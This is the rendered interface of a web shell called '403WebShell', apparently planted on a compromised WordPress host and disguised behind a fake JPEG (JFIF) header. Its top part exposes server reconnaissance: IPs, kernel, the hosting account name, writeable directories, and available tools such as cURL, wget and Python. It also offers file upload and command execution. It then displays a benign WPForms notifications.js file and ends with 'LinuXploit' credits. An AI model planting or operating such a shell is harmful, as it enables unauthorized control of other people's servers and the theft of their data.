????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.32.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/cwd/wp-content/plugins/wpforms-lite/assets/js/integrations/woocommerce/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/cwd/wp-content/plugins/wpforms-lite/assets/js/integrations/woocommerce/notifications.js
/* global wpforms_woocommerce_notifications */

/**
 * WooCommerce Notifications integration script.
 *
 * @since 1.8.9
 */
const WPFormsWoocommerceNotifications = window.WPFormsWoocommerceNotifications || ( function( document, window, $ ) {
	/**
	 * Public functions and properties.
	 *
	 * @since 1.8.9
	 */
	const app = {
		/**
		 * Start the engine.
		 *
		 * @since 1.8.9
		 */
		init() {
			$( app.ready );
		},

		/**
		 * Document ready.
		 *
		 * @since 1.8.9
		 */
		ready() {
			app.events();
		},

		/**
		 * Events.
		 *
		 * @since 1.8.9
		 */
		events() {
			$( '#wpforms-woocommerce-close' ).on( 'click', app.dismiss );
		},

		/**
		 * Hide notification.
		 *
		 * @since 1.8.9
		 */
		dismiss() {
			const $btn = $( this );
			const $notification = $btn.closest( '.wpforms-woocommerce-notification' );

			$notification.remove();

			const data = {
				action: 'wpforms_woocommerce_dismiss',
				nonce: wpforms_woocommerce_notifications.nonce,
			};

			$.post( wpforms_woocommerce_notifications.ajax_url, data, function( res ) {
				if ( ! res.success ) {
					// eslint-disable-next-line no-console
					console.log( res );
				}
			} ).fail( function( xhr ) {
				// eslint-disable-next-line no-console
				console.log( xhr.responseText );
			} );
		},
	};

	return app;
}( document, window, jQuery ) );

// Initialize.
WPFormsWoocommerceNotifications.init();

Youez - 2016 - github.com/yon3zu
LinuXploit